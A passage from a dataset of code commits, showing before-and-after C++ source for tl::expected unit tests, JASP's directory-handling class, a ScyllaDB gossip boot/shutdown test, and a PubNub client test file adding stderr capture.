17);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n}\n<commit_msg>Fix tests<commit_after>#include \"catch.hpp\"\n#include \"expected.hpp\"\n\n#define TOKENPASTE(x, y) x##y\n#define TOKENPASTE2(x, y) TOKENPASTE(x, y)\n#define STATIC_REQUIRE(e)                                                      \\\n  constexpr bool TOKENPASTE2(rqure, __LINE__) = e;                             \\\n  REQUIRE(e);\n\nTEST_CASE(\"Map extensions\", \"[extensions.map]\") {\n  auto mul2 = [](int a) { return a * 2; };\n  auto ret_void = [](int a) {};\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n}\n\nTEST_CASE(\"Map error extensions\", \"[extensions.map_error]\") {\n  auto mul2 = [](auto a) { return a * 2; };\n  auto ret_void = [](auto a) {};\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n}\n\nTEST_CASE(\"And then extensions\", \"[extensions.and_then]\") {\n  auto succeed = [](auto a) { return tl::expected<int, int>(21 * 2); };\n  auto fail = [](auto a) { return tl::expected<int, int>(tl::unexpect, 17); };\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"dirs.h\"\n\n#include <iostream>\n\n#ifdef __WIN32__\n#include <windows.h>\n#include <shlwapi.h>\n#include <shlobj.h>\n#else\n#include <libproc.h>\n#include <unistd.h>\n#include <pwd.h>\n#endif\n\n#include <boost\/filesystem.hpp>\n\n#include \"process.h\"\n#include \"utils.h\"\n#include \"version.h\"\n\nusing namespace std;\nusing namespace boost::filesystem;\n\nstring Dirs::appDataDir()\n{\n\tstatic string p = \"\";\n\n\tif (p != \"\")\n\t\treturn p;\n\n\tstring dir;\n\n#ifdef __WIN32__\n\tTCHAR buffer[MAX_PATH];\n\tif ( ! SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, buffer)))\n\t{\n\t\tstd::cerr << \"App Data dir could not be retrieved\\n\";\n\t\tstd::cerr.flush();\n\n\t\treturn \"\";\n\t}\n\n\tdir = Utils::ws2s(buffer);\n\n#else\n\n\tdir = string(getpwuid(getuid())->pw_dir);\n\n#endif\n\n\tdir += \"\/JASP\/\" + string(APP_VERSION);\n\n\tif ( ! exists(dir))\n\t{\n\t\tif (create_directories(dir) == false)\n\t\t{\n\t\t\tstd::cout << dir << \" could not be created\\n\";\n\t\t\tstd::cout.flush();\n\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\tp = path(dir).generic_string();\n\n\treturn p;\n}\n\nstring Dirs::tempDir()\n{\n\tstatic string p = \"\";\n\tif (p != \"\")\n\t\treturn p;\n\n\tstring dir;\n\tstring appData = appDataDir();\n\n\tif (appData == \"\")\n\t\treturn \"\";\n\n\tdir = appData + \"\/temp\";\n\n\tif ( ! exists(dir))\n\t{\n\t\tif (create_directories(dir) == false)\n\t\t{\n\t\t\tstd::cout << dir << \" could not be created\\n\";\n\t\t\tstd::cout.flush();\n\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\tp = path(dir).generic_string();\n\n\treturn p;\n}\n\nstring Dirs::exeDir()\n{\n\tstatic string p = \"\";\n\tif (p != \"\")\n\t\treturn p;\n\n#ifdef __WIN32__\n\tHMODULE hModule = GetModuleHandleW(NULL);\n\tWCHAR path[MAX_PATH];\n\tGetModuleFileNameW(hModule, path, MAX_PATH);\n\n\twstring s(path);\n\tstring r = Utils::ws2s(path);\n\n\tchar *pathbuf = new char[MAX_PATH];\n\tr.copy(pathbuf, MAX_PATH);\n\n\tint last = 0;\n\n\tfor (int i = 0; i < r.length(); i++)\n\t{\n\t\tif (pathbuf[i] == '\\\\')\n\t\t{\n\t\t\tpathbuf[i] = '\/';\n\t\t\tlast = i;\n\t\t}\n\t}\n\n\tr = string(pathbuf, last);\n\n\tdelete[] pathbuf;\n\n\tp = r;\n\n\treturn r;\n\n#else\n\n\tunsigned long pid = Process::currentPID();\n\n\tchar pathbuf[PROC_PIDPATHINFO_MAXSIZE];\n\tint ret = proc_pidpath (pid, pathbuf, sizeof(pathbuf));\n\n\tif (ret <= 0)\n\t{\n\t\tcout << \"Could not retrieve exe location\\n\";\n\t\tcout.flush();\n\n\t\tthrow exception();\n\t}\n\telse\n\t{\n\t\tint last = strlen(pathbuf);\n\n\t\tfor (int i = last - 1; i > 0; i--)\n\t\t{\n\t\t\tif (pathbuf[i] == '\/')\n\t\t\t{\n\t\t\t\tpathbuf[i] = '\\0';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tp = string(pathbuf);\n\n\t\treturn p;\n\t}\n\n#endif\n\n}\n\nstring Dirs::rHomeDir()\n{\n\tstring dir = exeDir();\n\n#ifdef __WIN32__\n\tdir += \"\/R\";\n#elif __APPLE__\n\tdir += \"\/..\/Frameworks\/R.framework\/Versions\/3.1\/Resources\";\n#else\n\tdir += \"\/R\";\n#endif\n\n\treturn dir;\n}\n\n<commit_msg>Changes to App dir on linux and OSX<commit_after>\n#include \"dirs.h\"\n\n#include <iostream>\n\n#ifdef __WIN32__\n#include <windows.h>\n#include <shlwapi.h>\n#include <shlobj.h>\n#else\n#include <libproc.h>\n#include <unistd.h>\n#include <pwd.h>\n#endif\n\n#include <boost\/filesystem.hpp>\n\n#include \"process.h\"\n#include \"utils.h\"\n#include \"version.h\"\n\nusing namespace std;\nusing namespace boost::filesystem;\n\nstring Dirs::appDataDir()\n{\n\tstatic string p = \"\";\n\n\tif (p != \"\")\n\t\treturn p;\n\n\tstring dir;\n\n#ifdef __WIN32__\n\tTCHAR buffer[MAX_PATH];\n\tif ( ! SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, buffer)))\n\t{\n\t\tstd::cerr << \"App Data dir could not be retrieved\\n\";\n\t\tstd::cerr.flush();\n\n\t\tthrow std::exception();\n\t}\n\n\tdir = Utils::ws2s(buffer);\n\tdir += \"\/JASP\/\" + string(APP_VERSION);\n\n#else\n\n\tdir = string(getpwuid(getuid())->pw_dir);\n\tdir += \"\/.JASP\/\" + string(APP_VERSION);\n\n#endif\n\n\tif ( ! exists(dir))\n\t{\n\t\tif (create_directories(dir) == false)\n\t\t{\n\t\t\tstd::cerr << dir << \" could not be created\\n\";\n\t\t\tstd::cerr.flush();\n\n\t\t\tthrow std::exception();\n\t\t}\n\t}\n\n\tp = path(dir).generic_string();\n\n\treturn p;\n}\n\nstring Dirs::tempDir()\n{\n\tstatic string p = \"\";\n\tif (p != \"\")\n\t\treturn p;\n\n\tstring dir;\n\tstring appData = appDataDir();\n\n\tdir = appData + \"\/temp\";\n\n\tif ( ! exists(dir))\n\t{\n\t\tif (create_directories(dir) == false)\n\t\t{\n\t\t\tstd::cerr << dir << \" could not be created\\n\";\n\t\t\tstd::cerr.flush();\n\n\t\t\tthrow exception();\n\t\t}\n\t}\n\n\tp = path(dir).generic_string();\n\n\treturn p;\n}\n\nstring Dirs::exeDir()\n{\n\tstatic string p = \"\";\n\tif (p != \"\")\n\t\treturn p;\n\n#ifdef __WIN32__\n\tHMODULE hModule = GetModuleHandleW(NULL);\n\tWCHAR path[MAX_PATH];\n\tGetModuleFileNameW(hModule, path, MAX_PATH);\n\n\twstring s(path);\n\tstring r = Utils::ws2s(path);\n\n\tchar *pathbuf = new char[MAX_PATH];\n\tr.copy(pathbuf, MAX_PATH);\n\n\tint last = 0;\n\n\tfor (int i = 0; i < r.length(); i++)\n\t{\n\t\tif (pathbuf[i] == '\\\\')\n\t\t{\n\t\t\tpathbuf[i] = '\/';\n\t\t\tlast = i;\n\t\t}\n\t}\n\n\tr = string(pathbuf, last);\n\n\tdelete[] pathbuf;\n\n\tp = r;\n\n\treturn r;\n\n#else\n\n\tunsigned long pid = Process::currentPID();\n\n\tchar pathbuf[PROC_PIDPATHINFO_MAXSIZE];\n\tint ret = proc_pidpath (pid, pathbuf, sizeof(pathbuf));\n\n\tif (ret <= 0)\n\t{\n\t\tcerr << \"Could not retrieve exe location\\n\";\n\t\tcerr.flush();\n\n\t\tthrow exception();\n\t}\n\telse\n\t{\n\t\tint last = strlen(pathbuf);\n\n\t\tfor (int i = last - 1; i > 0; i--)\n\t\t{\n\t\t\tif (pathbuf[i] == '\/')\n\t\t\t{\n\t\t\t\tpathbuf[i] = '\\0';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tp = string(pathbuf);\n\n\t\treturn p;\n\t}\n\n#endif\n\n}\n\nstring Dirs::rHomeDir()\n{\n\tstring dir = exeDir();\n\n#ifdef __WIN32__\n\tdir += \"\/R\";\n#elif __APPLE__\n\tdir += \"\/..\/Frameworks\/R.framework\/Versions\/3.1\/Resources\";\n#else\n\tdir += \"\/R\";\n#endif\n\n\treturn dir;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\n#include <boost\/test\/unit_test.hpp>\n\n#include \"tests\/test-utils.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"gms\/failure_detector.hh\"\n#include \"gms\/gossiper.hh\"\n#include \"core\/reactor.hh\"\n#include \"service\/storage_service.hh\"\n#include \"core\/distributed.hh\"\n#include \"database.hh\"\n#include \"db\/system_distributed_keyspace.hh\"\n\nSEASTAR_TEST_CASE(test_boot_shutdown){\n    return seastar::async([] {\n        distributed<database> db;\n        sharded<auth::service> auth_service;\n        sharded<db::system_distributed_keyspace> sys_dist_ks;\n        utils::fb_utilities::set_broadcast_address(gms::inet_address(\"127.0.0.1\"));\n        locator::i_endpoint_snitch::create_snitch(\"SimpleSnitch\").get();\n        service::get_storage_service().start(std::ref(db), std::ref(auth_service), std::ref(sys_dist_ks)).get();\n        db.start().get();\n        netw::get_messaging_service().start(gms::inet_address(\"127.0.0.1\"), 7000, false \/* don't bind *\/).get();\n        gms::get_failure_detector().start().get();\n\n        gms::get_gossiper().start().get();\n        gms::get_gossiper().stop().get();\n        gms::get_failure_detector().stop().get();\n        db.stop().get();\n        service::get_storage_service().stop().get();\n        netw::get_messaging_service().stop().get();\n        locator::i_endpoint_snitch::stop_snitch().get();\n    });\n}\n<commit_msg>tests\/gossip_test: Use RAII for orderly destruction<commit_after>\n\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <seastar\/util\/defer.hh>\n\n#include \"tests\/test-utils.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"gms\/failure_detector.hh\"\n#include \"gms\/gossiper.hh\"\n#include \"core\/reactor.hh\"\n#include \"service\/storage_service.hh\"\n#include \"core\/distributed.hh\"\n#include \"database.hh\"\n#include \"db\/system_distributed_keyspace.hh\"\n\nSEASTAR_TEST_CASE(test_boot_shutdown){\n    return seastar::async([] {\n        distributed<database> db;\n        sharded<auth::service> auth_service;\n        sharded<db::system_distributed_keyspace> sys_dist_ks;\n        utils::fb_utilities::set_broadcast_address(gms::inet_address(\"127.0.0.1\"));\n\n        locator::i_endpoint_snitch::create_snitch(\"SimpleSnitch\").get();\n        auto stop_snitch = defer([&] { gms::get_failure_detector().stop().get(); });\n\n        netw::get_messaging_service().start(gms::inet_address(\"127.0.0.1\"), 7000, false \/* don't bind *\/).get();\n        auto stop_messaging_service = defer([&] { netw::get_messaging_service().stop().get(); });\n\n        service::get_storage_service().start(std::ref(db), std::ref(auth_service), std::ref(sys_dist_ks)).get();\n        auto stop_ss = defer([&] { service::get_storage_service().stop().get(); });\n\n        db.start().get();\n        auto stop_db = defer([&] { db.stop().get(); });\n\n        gms::get_failure_detector().start().get();\n        auto stop_failure_detector = defer([&] { gms::get_failure_detector().stop().get(); });\n\n        gms::get_gossiper().start().get();\n        auto stop_gossiper = defer([&] { gms::get_gossiper().stop().get(); });\n    });\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"gtest.h\"\n\n#include <curl\/curl.h>\n\n\nnamespace Test {\n\n#include \"..\/libpubnub\/crypto.h\"\n#include \"..\/libpubnub\/pubnub.h\"\n#include \"..\/libpubnub\/pubnub-priv.h\"\n\n#undef PUBNUB_API\n#define PUBNUB_API\n\nstatic bool curlInit = false;\n\n\nCURLM *curl_multi_init(void)\n{\n\tcurlInit = true;\n\treturn ::curl_multi_init();\n}\n\nCURLMsg *curl_multi_info_read( CURLM *multi_handle,   int *msgs_in_queue)\n{\n\treturn NULL;\n}\n\nCURLMcode curl_multi_socket_action(CURLM * multi_handle,\n                                    curl_socket_t sockfd, int ev_bitmask,\n                                    int *running_handles)\n{\n\treturn CURLM_OK;\n}\n\n#include \"..\/libpubnub\/pubnub.c\"\n\n\nclass PubnubTest : public ::testing::Test\n{\nprotected:\n\tpubnub_callbacks cb;\n\tpubnub *p;\n\tchar *url;\n\n\tstatic int addSock;\n\tstatic int addSockMode;\n\n\tstatic void\n\tpubnub_test_add_socket(struct pubnub *p, void *ctx_data, int fd, int mode,\n\t\t\tvoid (*cb)(struct pubnub *p, int fd, int mode, void *cb_data), void *cb_data)\n\t{\n\t\taddSock = fd;\n\t\taddSockMode = mode;\n\t}\n\n\tstatic int remSock;\n\n\tstatic void\n\tpubnub_test_rem_socket(struct pubnub *p, void *ctx_data, int fd)\n\t{\n\t\tremSock = fd;\n\t}\n\n\tstatic void\n\tpubnub_test_timeout(struct pubnub *p, void *ctx_data, const struct timespec *ts,\n\t\t\tvoid (*cb)(struct pubnub *p, void *cb_data), void *cb_data)\n\t{\n\t}\n\n\tstatic void\n\tpubnub_test_wait(struct pubnub *p, void *ctx_data)\n\t{\n\t}\n\n\tvirtual void SetUp() {\n\n\t\tmemset(&cb, 0, sizeof(cb));\n\t\tcb.add_socket = pubnub_test_add_socket;\n\t\tcb.rem_socket = pubnub_test_rem_socket;\n\t\tcb.timeout = pubnub_test_timeout;\n\t\tcb.wait = pubnub_test_wait;\n\n\t\tcurlInit = false;\n\n\t\tp = pubnub_init(\"demo\", \"demo\", &cb, NULL);\n\n\t\taddSock = remSock = 0;\n\t\taddSockMode = 0;\n\t}\n\tvirtual void TearDown() {\n\t\tpubnub_done(p);\n\t}\n};\n\nint PubnubTest::addSock, PubnubTest::addSockMode, PubnubTest::remSock;\n\nTEST_F(PubnubTest, Publish) {\n\tASSERT_TRUE(curlInit);\n\tjson_object *msg;\n\tmsg = json_object_new_object();\n\tjson_object_object_add(msg, \"str\", json_object_new_string(\"test\"));\n\tpubnub_publish(p, \"channel\", msg, -1, NULL, NULL);\n\tjson_object_put(msg);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/publish\/demo\/demo\/0\/channel\/0\/%7B%20%22str%22%3A%20%22test%22%20%7D\", url);\n}\n\nTEST_F(PubnubTest, Subscribe) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_subscribe(p, \"channel\", -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tchar *t = strchr(url,'=');\n\tASSERT_TRUE(t != NULL);\n\tchar *s = strdup(url);\n\ts[t - url] = 0;\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/subscribe\/demo\/channel\/0\/0?uuid\", s);\n\tfree(s);\n\tpubnub_connection_cancel(p);\n}\n\nTEST_F(PubnubTest, SubscribeMulti) {\n\tASSERT_TRUE(curlInit);\n\tconst char *channels[] = {\"channel1\", \"channel2\"};\n\tpubnub_subscribe_multi(p, channels, 2, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tchar *t = strchr(url,'=');\n\tASSERT_TRUE(t != NULL);\n\tchar *s = strdup(url);\n\ts[t - url] = 0;\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/subscribe\/demo\/channel1%2Cchannel2\/0\/0?uuid\", s);\n\tfree(s);\n\tpubnub_connection_cancel(p);\n}\n\nTEST_F(PubnubTest, History) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_history(p, \"channel\", 10, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/history\/demo\/channel\/0\/10\", url);\n}\n\nTEST_F(PubnubTest, HereNow) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_here_now(p, \"channel\", -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/v2\/presence\/sub-key\/demo\/channel\/channel\", url);\n}\n\nTEST_F(PubnubTest, Time) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_time(p, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/time\/0\", url);\n}\n\nTEST(ChannelSetTest, AddRemove) {\n\tstruct channelset cs = {NULL, 0};\n\tEXPECT_EQ(0, channelset_add(&cs, &cs));\n\tconst char *ch1[] = {\"abc\", \"cde\"};\n\tstruct channelset cs1 = {ch1, 2};\n\tEXPECT_EQ(0, channelset_add(&cs1, &cs1));\n\tconst char *ch2[] = {\"abc\", \"fgh\", \"cde\"};\n\tstruct channelset cs2 = {ch2, 3};\n\tstruct channelset *cs3 = (struct channelset*)calloc(1, sizeof(struct channelset));\n\tEXPECT_EQ(2, channelset_add(cs3, &cs1));\n\tEXPECT_EQ(1, channelset_add(cs3, &cs2));\n\tEXPECT_EQ(2, channelset_rm(cs3, &cs1));\n\tEXPECT_EQ(0, channelset_rm(cs3, &cs1));\n\tEXPECT_STREQ(ch2[1], cs3->set[0]);\n\tEXPECT_EQ(1, channelset_rm(cs3, &cs2));\n\tfree(cs3);\n}\n\n}\n\n<commit_msg>tests: Add stderr capture & some minor fixes<commit_after>\n#include \"gtest.h\"\n\n#include <curl\/curl.h>\n#include <fcntl.h>\n\n\nnamespace Test {\n\n#include \"..\/libpubnub\/crypto.h\"\n#include \"..\/libpubnub\/pubnub.h\"\n#include \"..\/libpubnub\/pubnub-priv.h\"\n\n#undef PUBNUB_API\n#define PUBNUB_API\n\nstatic bool curlInit = false;\n\n\nCURLM *curl_multi_init(void)\n{\n\tcurlInit = true;\n\treturn ::curl_multi_init();\n}\n\nCURLMsg *curl_multi_info_read( CURLM *multi_handle,   int *msgs_in_queue)\n{\n\treturn NULL;\n}\n\nCURLMcode curl_multi_socket_action(CURLM * multi_handle,\n                                    curl_socket_t sockfd, int ev_bitmask,\n                                    int *running_handles)\n{\n\treturn CURLM_OK;\n}\n\n#include \"..\/libpubnub\/pubnub.c\"\n\n\nclass PubnubTest : public ::testing::Test\n{\nprotected:\n\tpubnub_callbacks cb;\n\tpubnub *p;\n\tchar *url;\n\n\tint _err_pipe[2];\n\tint _old_err;\n\tstd::string _err;\n\n\tstatic int addSock;\n\tstatic int addSockMode;\n\n\tstatic void\n\tpubnub_test_add_socket(struct pubnub *p, void *ctx_data, int fd, int mode,\n\t\t\tvoid (*cb)(struct pubnub *p, int fd, int mode, void *cb_data), void *cb_data)\n\t{\n\t\taddSock = fd;\n\t\taddSockMode = mode;\n\t}\n\n\tstatic int remSock;\n\n\tstatic void\n\tpubnub_test_rem_socket(struct pubnub *p, void *ctx_data, int fd)\n\t{\n\t\tremSock = fd;\n\t}\n\n\tstatic void\n\tpubnub_test_timeout(struct pubnub *p, void *ctx_data, const struct timespec *ts,\n\t\t\tvoid (*cb)(struct pubnub *p, void *cb_data), void *cb_data)\n\t{\n\t}\n\n\tstatic void\n\tpubnub_test_wait(struct pubnub *p, void *ctx_data)\n\t{\n\t}\n\n\tvoid GetErr() {\n        fflush(stderr);\n        std::string buf;\n        const int bufSize = 1024;\n        buf.resize(bufSize);\n        int bytesRead = 0;\n        if (!eof(_err_pipe[0])) {\n            bytesRead = read(_err_pipe[0], &(*buf.begin()), bufSize);\n        }\n        while(bytesRead == bufSize) {\n            _err += buf;\n            bytesRead = 0;\n            if (!eof(_err_pipe[0])) {\n                bytesRead = read(_err_pipe[0], &(*buf.begin()), bufSize);\n            }\n        }\n        if (bytesRead > 0) {\n            buf.resize(bytesRead);\n            _err += buf;\n        }\n\t}\n\n\tvirtual void SetUp() 